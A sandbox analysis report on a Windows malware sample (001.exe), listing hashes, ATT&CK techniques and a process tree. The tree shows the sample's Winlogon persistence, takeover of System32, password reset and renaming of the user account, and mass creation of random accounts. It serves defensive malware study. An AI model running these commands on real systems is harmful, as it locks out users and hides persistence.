ec2ae1fb4b42a33ccc6180c03b11f038c715888c1d74d7d3df29521ff60c8d65

Analysis

max time kernel
17s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
23/05/2026, 10:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
001.exe
Size 501KB
Sample260523-mbkhvsav7x
SHA256 ec2ae1fb4b42a33ccc6180c03b11f038c715888c1d74d7d3df29521ff60c8d65
MD5 914fc1daaf606db6468828ae73f23475
SHA1 79c971f0db70211ec8cf5ca25347b11cab4e1e15
SHA512 5f4e4340d16984e780fd267925d0e4b6f182bd859e1e89526a85be0a3fb631284f166a9a618bc0500103b55e078a15f4e58efbf01a2a83c6bbc433100b231766
SSDEEP 12288:+fx/eZe3fjd4inis1fCPgrHqXYlN7h0o7rw:EMe373nzWgrHDb7h/I
TLSH
T1D4B4C016D25A550AE4016576B910B46E5CC78CFC03BFC2B3BBCC8D2F648E4614AFA6A7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery persistence

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\System32\\UserInit.exe,C:\\Windows\\System32\\winnt32.exe"	001.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
6132	takeown.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\System32\winnt32.exe	001.exe
File opened for modification	C:\Windows\System32\winnt32.exe	001.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4552	2448	WerFault.exe	78

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	001.exe

Runs net.exe

Suspicious use of AdjustPrivilegeToken 44 IoCs

description	pid	Process
Token: SeDebugPrivilege	2448	001.exe
Token: SeTakeOwnershipPrivilege	6132	takeown.exe
Token: SeIncreaseQuotaPrivilege	4032	WMIC.exe
Token: SeSecurityPrivilege	4032	WMIC.exe
Token: SeTakeOwnershipPrivilege	4032	WMIC.exe
Token: SeLoadDriverPrivilege	4032	WMIC.exe
Token: SeSystemProfilePrivilege	4032	WMIC.exe
Token: SeSystemtimePrivilege	4032	WMIC.exe
Token: SeProfSingleProcessPrivilege	4032	WMIC.exe
Token: SeIncBasePriorityPrivilege	4032	WMIC.exe
Token: SeCreatePagefilePrivilege	4032	WMIC.exe
Token: SeBackupPrivilege	4032	WMIC.exe
Token: SeRestorePrivilege	4032	WMIC.exe
Token: SeShutdownPrivilege	4032	WMIC.exe
Token: SeDebugPrivilege	4032	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4032	WMIC.exe
Token: SeRemoteShutdownPrivilege	4032	WMIC.exe
Token: SeUndockPrivilege	4032	WMIC.exe
Token: SeManageVolumePrivilege	4032	WMIC.exe
Token: 33	4032	WMIC.exe
Token: 34	4032	WMIC.exe
Token: 35	4032	WMIC.exe
Token: 36	4032	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4032	WMIC.exe
Token: SeSecurityPrivilege	4032	WMIC.exe
Token: SeTakeOwnershipPrivilege	4032	WMIC.exe
Token: SeLoadDriverPrivilege	4032	WMIC.exe
Token: SeSystemProfilePrivilege	4032	WMIC.exe
Token: SeSystemtimePrivilege	4032	WMIC.exe
Token: SeProfSingleProcessPrivilege	4032	WMIC.exe
Token: SeIncBasePriorityPrivilege	4032	WMIC.exe
Token: SeCreatePagefilePrivilege	4032	WMIC.exe
Token: SeBackupPrivilege	4032	WMIC.exe
Token: SeRestorePrivilege	4032	WMIC.exe
Token: SeShutdownPrivilege	4032	WMIC.exe
Token: SeDebugPrivilege	4032	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4032	WMIC.exe
Token: SeRemoteShutdownPrivilege	4032	WMIC.exe
Token: SeUndockPrivilege	4032	WMIC.exe
Token: SeManageVolumePrivilege	4032	WMIC.exe
Token: 33	4032	WMIC.exe
Token: 34	4032	WMIC.exe
Token: 35	4032	WMIC.exe
Token: 36	4032	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2448 wrote to memory of 6132	2448	001.exe	79
PID 2448 wrote to memory of 5104	2448	001.exe	81
PID 2448 wrote to memory of 1940	2448	001.exe	83
PID 2448 wrote to memory of 5140	2448	001.exe	84
PID 2448 wrote to memory of 6088	2448	001.exe	87
PID 5140 wrote to memory of 5656	5140	cmd.exe	89
PID 2448 wrote to memory of 4472	2448	001.exe	90
PID 5656 wrote to memory of 3300	5656	net.exe	91
PID 2448 wrote to memory of 5820	2448	001.exe	93
PID 1940 wrote to memory of 4032	1940	cmd.exe	95
PID 5104 wrote to memory of 5768	5104	cmd.exe	96
PID 5768 wrote to memory of 4636	5768	net.exe	375
PID 2448 wrote to memory of 4668	2448	001.exe	98
PID 6088 wrote to memory of 2524	6088	cmd.exe	100
PID 2448 wrote to memory of 4540	2448	001.exe	101
PID 2524 wrote to memory of 5264	2524	net.exe	102
PID 2448 wrote to memory of 4516	2448	001.exe	104
PID 4472 wrote to memory of 4564	4472	cmd.exe	105
PID 4668 wrote to memory of 3456	4668	cmd.exe	107
PID 4564 wrote to memory of 5624	4564	net.exe	108
PID 3456 wrote to memory of 3324	3456	net.exe	235
PID 4540 wrote to memory of 5404	4540	cmd.exe	110
PID 5820 wrote to memory of 3368	5820	cmd.exe	111
PID 2448 wrote to memory of 1100	2448	001.exe	112
PID 5404 wrote to memory of 2368	5404	net.exe	357
PID 3368 wrote to memory of 1220	3368	net.exe	349
PID 2448 wrote to memory of 3704	2448	001.exe	115
PID 2448 wrote to memory of 4356	2448	001.exe	119
PID 2448 wrote to memory of 5584	2448	001.exe	121
PID 4516 wrote to memory of 5816	4516	cmd.exe	123
PID 5816 wrote to memory of 1428	5816	net.exe	246
PID 2448 wrote to memory of 3312	2448	001.exe	125
PID 3704 wrote to memory of 4504	3704	cmd.exe	127
PID 1100 wrote to memory of 5848	1100	cmd.exe	128
PID 5584 wrote to memory of 5508	5584	cmd.exe	129
PID 4504 wrote to memory of 4872	4504	net.exe	130
PID 5848 wrote to memory of 4396	5848	net.exe	131
PID 5508 wrote to memory of 5992	5508	net.exe	132
PID 2448 wrote to memory of 2992	2448	001.exe	133
PID 2448 wrote to memory of 5396	2448	001.exe	135
PID 2448 wrote to memory of 1856	2448	001.exe	137
PID 4356 wrote to memory of 4240	4356	cmd.exe	139
PID 2448 wrote to memory of 4820	2448	001.exe	140
PID 3312 wrote to memory of 6068	3312	cmd.exe	141
PID 2448 wrote to memory of 1060	2448	001.exe	143
PID 6068 wrote to memory of 5580	6068	net.exe	374
PID 4240 wrote to memory of 2180	4240	net.exe	146
PID 2448 wrote to memory of 5336	2448	001.exe	147
PID 2992 wrote to memory of 2052	2992	cmd.exe	148
PID 2052 wrote to memory of 1908	2052	net.exe	150
PID 4820 wrote to memory of 6140	4820	cmd.exe	151
PID 2448 wrote to memory of 5996	2448	001.exe	152
PID 6140 wrote to memory of 2344	6140	net.exe	153
PID 2448 wrote to memory of 6004	2448	001.exe	155
PID 1856 wrote to memory of 4408	1856	cmd.exe	157
PID 5396 wrote to memory of 2456	5396	cmd.exe	158
PID 4408 wrote to memory of 1224	4408	net.exe	159
PID 2456 wrote to memory of 4080	2456	net.exe	487
PID 2448 wrote to memory of 5176	2448	001.exe	161
PID 2448 wrote to memory of 5804	2448	001.exe	163
PID 1060 wrote to memory of 4632	1060	cmd.exe	164
PID 4632 wrote to memory of 4936	4632	net.exe	395
PID 2448 wrote to memory of 4908	2448	001.exe	167
PID 5336 wrote to memory of 5680	5336	cmd.exe	169

C:\Users\Admin\AppData\Local\Temp\001.exe
"C:\Users\Admin\AppData\Local\Temp\001.exe"
1⤵
- Modifies WinLogon for persistence
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2448
- C:\Windows\System32\takeown.exe
  "C:\Windows\System32\takeown.exe" /F C:\Windows\System32
  2⤵
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:6132
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user %username% NT32err0r
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5104
- - C:\Windows\system32\net.exe
    net user Admin NT32err0r
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5768
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user Admin NT32err0r
      4⤵
      PID:4636
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wmic useraccount where name='%username%' rename '0xc666'
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1940
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic useraccount where name='Admin' rename '0xc666'
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "甯迈荼濕皘棛湾顋蟉析蕏騶蜂" /random /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5140
- - C:\Windows\system32\net.exe
    net user "甯迈荼濕皘棛湾顋蟉析蕏騶蜂" /random /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5656
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "甯迈荼濕皘棛湾顋蟉析蕏騶蜂" /random /add
      4⤵
      PID:3300
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "愃渓呼莀胏峘攨覀倨蜛坃胸磦" /random /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6088
- - C:\Windows\system32\net.exe
    net user "愃渓呼莀胏峘攨覀倨蜛坃胸磦" /random /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2524
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "愃渓呼莀胏峘攨覀倨蜛坃胸磦" /random /add
      4⤵
      PID:5264
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "獴瞱騬願媉俑刹陳蔔鉘畊彤匰" /random /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4472
- - C:\Windows\system32\net.exe
    net user "獴瞱騬願媉俑刹陳蔔鉘畊彤匰" /random /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4564
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "獴瞱騬願媉俑刹陳蔔鉘畊彤匰" /random /add
      4⤵
      PID:5624
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "甌洚纷此埾蹽纫遳阱倴敂禑醍" /random /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5820
- - C:\Windows\system32\net.exe
    net user "甌洚纷此埾蹽纫遳阱倴敂禑醍" /random /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3368
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "甌洚纷此埾蹽纫遳阱倴敂禑醍" /random /add
      4⤵
      PID:1220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "餕磷蓳嘼櫅鈊韒读赙阖鍂唈區" /random /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4668
- - C:\Windows\system32\net.exe
    net user "餕磷蓳嘼櫅鈊韒读赙阖鍂唈區" /random /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3456
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "餕磷蓳嘼櫅鈊韒读赙阖鍂唈區" /random /add
      4⤵
      PID:3324
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "崓蘦让屮榣穄爨鞈燊曬戴挽腈" /random /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4540
- - C:\Windows\system32\net.exe
    net user "崓蘦让屮榣穄爨鞈燊曬戴挽腈" /random /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5404
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "崓蘦让屮榣穄爨鞈燊曬戴挽腈" /random /add
      4⤵
      PID:2368
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "勁壥毖蛢飴鏂嫓克旝眪涟狨嬜" /random /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4516
- - C:\Windows\system32\net.exe
    net user "勁壥毖蛢飴鏂嫓克旝眪涟狨嬜" /random /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5816
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "勁壥毖蛢飴鏂嫓克旝眪涟狨嬜" /random /add
      4⤵
      PID:1428
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "戧聜编殖鹻媦算萃涸樷裛襢阰" /random /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1100
- - C:\Windows\system32\net.exe
    net user "戧聜编殖鹻媦算萃涸樷裛襢阰" /random /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5848
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "戧聜编殖鹻媦算萃涸樷裛襢阰" /random /add
      4⤵
      PID:4396
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "緅媉謏鯰癳石鲃倌凎嘼偻悙辧" /random /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3704
- - C:\Windows\system32\net.exe
    net user "緅媉謏鯰癳石鲃倌凎嘼偻悙辧" /random /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4504
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "緅媉謏鯰癳石鲃倌凎嘼偻悙辧" /random /add
      4⤵
      PID:4872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "蹤墕哣挺邙鎱雀僵睉弍嚢竟廞" /random /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4356
- - C:\Windows\system32\net.exe
    net user "蹤墕哣挺邙鎱雀僵睉弍嚢竟廞" /random /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4240
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "蹤墕哣挺邙鎱雀僵睉弍嚢竟廞" /random /add
      4⤵
      PID:2180
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "烨辊疘廲蛯哛轘胧謨綏迺验冺" /random /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5584
- - C:\Windows\system32\net.exe
    net user "烨辊疘廲蛯哛轘胧謨綏迺验冺" /random /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5508
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "烨辊疘廲蛯哛轘胧謨綏迺验冺" /random /add
      4⤵
      PID:5992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "菭撻鷴轔飅譄輘偫鎊臫猻寵鷓" /random /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3312
- - C:\Windows\system32\net.exe
    net user "菭撻鷴轔飅譄輘偫鎊臫猻寵鷓" /random /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:6068
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "菭撻鷴轔飅譄輘偫鎊臫猻寵鷓" /random /add
      4⤵
      PID:5580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "菜鈕耋斤撹忝踈艡憄薂翘碵谣" /random /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2992
- - C:\Windows\system32\net.exe
    net user "菜鈕耋斤撹忝踈艡憄薂翘碵谣" /random /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2052
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "菜鈕耋斤撹忝踈艡憄薂翘碵谣" /random /add
      4⤵
      PID:1908
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "鿛鐳椮饎僮舔讉鏶鄡贂麿矚薃" /random /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5396
- - C:\Windows\system32\net.exe
    net user "鿛鐳椮饎僮舔讉鏶鄡贂麿矚薃" /random /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2456
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "鿛鐳椮饎僮舔讉鏶鄡贂麿矚薃" /random /add
      4⤵
      PID:4080
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "虅僗琶暨鯆醩泯榄偹豏俢媅鶦" /random /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1856
- - C:\Windows\system32\net.exe
    net user "虅僗琶暨鯆醩泯榄偹豏俢媅鶦" /random /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4408
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "虅僗琶暨鯆醩泯榄偹豏俢媅鶦" /random /add
      4⤵
      PID:1224
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "渪捫蘗啠陵昨背鼐嘄啵辥囖汁" /random /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4820
- - C:\Windows\system32\net.exe
    net user "渪捫蘗啠陵昨背鼐嘄啵辥囖汁" /random /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:6140
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "渪捫蘗啠陵昨背鼐嘄啵辥囖汁" /random /add
      4⤵
      PID:2344
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "腘萍熹定觲藳娜彃竗蠎蒩芄娭" /random /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1060
- - C:\Windows\system32\net.exe
    net user "腘萍熹定觲藳娜彃竗蠎蒩芄娭" /random /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4632
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "腘萍熹定觲藳娜彃竗蠎蒩芄娭" /random /add
      4⤵
      PID:4936
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "叄悀殇泶囇嘛侮鶈鞂藢喾試韤" /random /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5336
- - C:\Windows\system32\net.exe
    net user "叄悀殇泶囇嘛侮鶈鞂藢喾試韤" /random /add
    3⤵
    PID:5680
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "叄悀殇泶囇嘛侮鶈鞂藢喾試韤" /random /add
      4⤵
      PID:396
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "潡鵄诠鎧再踭餵磋瀣譕嵶鍮殥" /random /add
  2⤵
  PID:5996
- - C:\Windows\system32\net.exe
    net user "潡鵄诠鎧再踭餵磋瀣譕嵶鍮殥" /random /add
    3⤵
    PID:236
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "潡鵄诠鎧再踭餵磋瀣譕嵶鍮殥" /random /add
      4⤵
      PID:536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "鑖煊螥擐螜驨畑扔綷囵嗋乹矣" /random /add
  2⤵
  PID:6004
- - C:\Windows\system32\net.exe
    net user "鑖煊螥擐螜驨畑扔綷囵嗋乹矣" /random /add
    3⤵
    PID:3736
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "鑖煊螥擐螜驨畑扔綷囵嗋乹矣" /random /add
      4⤵
      PID:244
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "鱊墤迂鰬弃狗亨榣聭耇犇臢扩" /random /add
  2⤵
  PID:5176
- - C:\Windows\system32\net.exe
    net user "鱊墤迂鰬弃狗亨榣聭耇犇臢扩" /random /add
    3⤵
    PID:444
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "鱊墤迂鰬弃狗亨榣聭耇犇臢扩" /random /add
      4⤵
      PID:896
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "禹霨鬩埳徝癧阦碍碢精椄蔌愣" /random /add
  2⤵
  PID:5804
- - C:\Windows\system32\net.exe
    net user "禹霨鬩埳徝癧阦碍碢精椄蔌愣" /random /add
    3⤵
    PID:4524
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "禹霨鬩埳徝癧阦碍碢精椄蔌愣" /random /add
      4⤵
      PID:3700
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "遫蒲筓曌縏鍪輗越嶐錡畋襈谵" /random /add
  2⤵
  PID:4908
- - C:\Windows\system32\net.exe
    net user "遫蒲筓曌縏鍪輗越嶐錡畋襈谵" /random /add
    3⤵
    PID:5308
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "遫蒲筓曌縏鍪輗越嶐錡畋襈谵" /random /add
      4⤵
      PID:3056
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "晐猇興紵偗杁銨籸匣耳蠈刃紭" /random /add
  2⤵
  PID:2580
- - C:\Windows\system32\net.exe
    net user "晐猇興紵偗杁銨籸匣耳蠈刃紭" /random /add
    3⤵
    PID:4768
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "晐猇興紵偗杁銨籸匣耳蠈刃紭" /random /add
      4⤵
      PID:3852
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "悹逪嚹颎呯偽德韏挡嶭髋豙翄" /random /add
  2⤵
  PID:2372
- - C:\Windows\system32\net.exe
    net user "悹逪嚹颎呯偽德韏挡嶭髋豙翄" /random /add
    3⤵
    PID:1692
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "悹逪嚹颎呯偽德韏挡嶭髋豙翄" /random /add
      4⤵
      PID:3720
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "苻奲动闷畡騠甓釉埶毨蛶朐茍" /random /add
  2⤵
  PID:1608
- - C:\Windows\system32\net.exe
    net user "苻奲动闷畡騠甓釉埶毨蛶朐茍" /random /add
    3⤵
    PID:3956
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "苻奲动闷畡騠甓釉埶毨蛶朐茍" /random /add
      4⤵
      PID:5740
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "蹿漒寒節熑嶔純銕靥鮗膙胰荢" /random /add
  2⤵
  PID:5776
- - C:\Windows\system32\net.exe
    net user "蹿漒寒節熑嶔純銕靥鮗膙胰荢" /random /add
    3⤵
    PID:920
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "蹿漒寒節熑嶔純銕靥鮗膙胰荢" /random /add
      4⤵
      PID:3728
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "桿籞耭錷傀圻両犸曵堙喑癀踖" /random /add
  2⤵
  PID:1232
- - C:\Windows\system32\net.exe
    net user "桿籞耭錷傀圻両犸曵堙喑癀踖" /random /add
    3⤵
    PID:1484
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "桿籞耭錷傀圻両犸曵堙喑癀踖" /random /add
      4⤵
      PID:3332
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "挚鼢慼蕏冉菈敘瑊舔謋硆筧凩" /random /add
  2⤵
  PID:5564
- - C:\Windows\system32\net.exe
    net user "挚鼢慼蕏冉菈敘瑊舔謋硆筧凩" /random /add
    3⤵
    PID:4880
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "挚鼢慼蕏冉菈敘瑊舔謋硆筧凩" /random /add
      4⤵
      PID:4532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "縣琮泒鎉烮貈荞亁倕鬍靌身緐" /random /add
  2⤵
  PID:3168
- - C:\Windows\system32\net.exe
    net user "縣琮泒鎉烮貈荞亁倕鬍靌身緐" /random /add
    3⤵
    PID:5888
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "縣琮泒鎉烮貈荞亁倕鬍靌身緐" /random /add
      4⤵
      PID:4956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "憣冬嘴嘛刪矷候鈺監枵伕淇像" /random /add
  2⤵
  PID:4984
- - C:\Windows\system32\net.exe
    net user "憣冬嘴嘛刪矷候鈺監枵伕淇像" /random /add
    3⤵
    PID:2588
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "憣冬嘴嘛刪矷候鈺監枵伕淇像" /random /add
      4⤵
      PID:4548
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "宸睥誼榴纐蒞峵筎砽紷皤侼皣" /random /add
  2⤵
  PID:572
- - C:\Windows\system32\net.exe
    net user "宸睥誼榴纐蒞峵筎砽紷皤侼皣" /random /add
    3⤵
    PID:4544
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "宸睥誼榴纐蒞峵筎砽紷皤侼皣" /random /add
      4⤵
      PID:1812
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "圆琩荙砥谿尘籞莤逡頳遝慤趍" /random /add
  2⤵
  PID:3780
- - C:\Windows\system32\net.exe
    net user "圆琩荙砥谿尘籞莤逡頳遝慤趍" /random /add
    3⤵
    PID:3336
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "圆琩荙砥谿尘籞莤逡頳遝慤趍" /random /add
      4⤵
      PID:3604
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "硕驵黣阹粹抻櫶萃肒岈凒戣簞" /random /add
  2⤵
  PID:1600
- - C:\Windows\system32\net.exe
    net user "硕驵黣阹粹抻櫶萃肒岈凒戣簞" /random /add
    3⤵
    PID:2020
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "硕驵黣阹粹抻櫶萃肒岈凒戣簞" /random /add
      4⤵
      PID:2368
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "払鼲欌犛鿑遴讘楞憡桱薏绎椩" /random /add
  2⤵
  PID:5060
- - C:\Windows\system32\net.exe
    net user "払鼲欌犛鿑遴讘楞憡桱薏绎椩" /random /add
    3⤵
    PID:3960
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "払鼲欌犛鿑遴讘楞憡桱薏绎椩" /random /add
      4⤵
      PID:4884
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "宄蕙颻熯鰿褻櫗譑趁嫅兪仱妮" /random /add
  2⤵
  PID:4584
- - C:\Windows\system32\net.exe
    net user "宄蕙颻熯鰿褻櫗譑趁嫅兪仱妮" /random /add
    3⤵
    PID:1968
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "宄蕙颻熯鰿褻櫗譑趁嫅兪仱妮" /random /add
      4⤵
      PID:6012
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "檜歯魇鉿嫆搻慝蜎晛煉升三贜" /random /add
  2⤵
  PID:5028
- - C:\Windows\system32\net.exe
    net user "檜歯魇鉿嫆搻慝蜎晛煉升三贜" /random /add
    3⤵
    PID:2868
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "檜歯魇鉿嫆搻慝蜎晛煉升三贜" /random /add
      4⤵
      PID:3788
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "珚琍恧椂萊炱歋漠潴齫鿯鐷壮" /random /add
  2⤵
  PID:4260
- - C:\Windows\system32\net.exe
    net user "珚琍恧椂萊炱歋漠潴齫鿯鐷壮" /random /add
    3⤵
    PID:1660
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "珚琍恧椂萊炱歋漠潴齫鿯鐷壮" /random /add
      4⤵
      PID:4500
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "逅厈遏璎襪濋腆傆禆鑶麈縌壉" /random /add
  2⤵
  PID:4236
- - C:\Windows\system32\net.exe
    net user "逅厈遏璎襪濋腆傆禆鑶麈縌壉" /random /add
    3⤵
    PID:1948
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "逅厈遏璎襪濋腆傆禆鑶麈縌壉" /random /add
      4⤵
      PID:4284
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "黒酺鑡搿鳮檻铚揸葸鯔鳐蠧紏" /random /add
  2⤵
  PID:608
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3324
- - C:\Windows\system32\net.exe
    net user "黒酺鑡搿鳮檻铚揸葸鯔鳐蠧紏" /random /add
    3⤵
    PID:3256
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "黒酺鑡搿鳮檻铚揸葸鯔鳐蠧紏" /random /add
      4⤵
      PID:3376
- C:\Windows\System32\cmd.exe
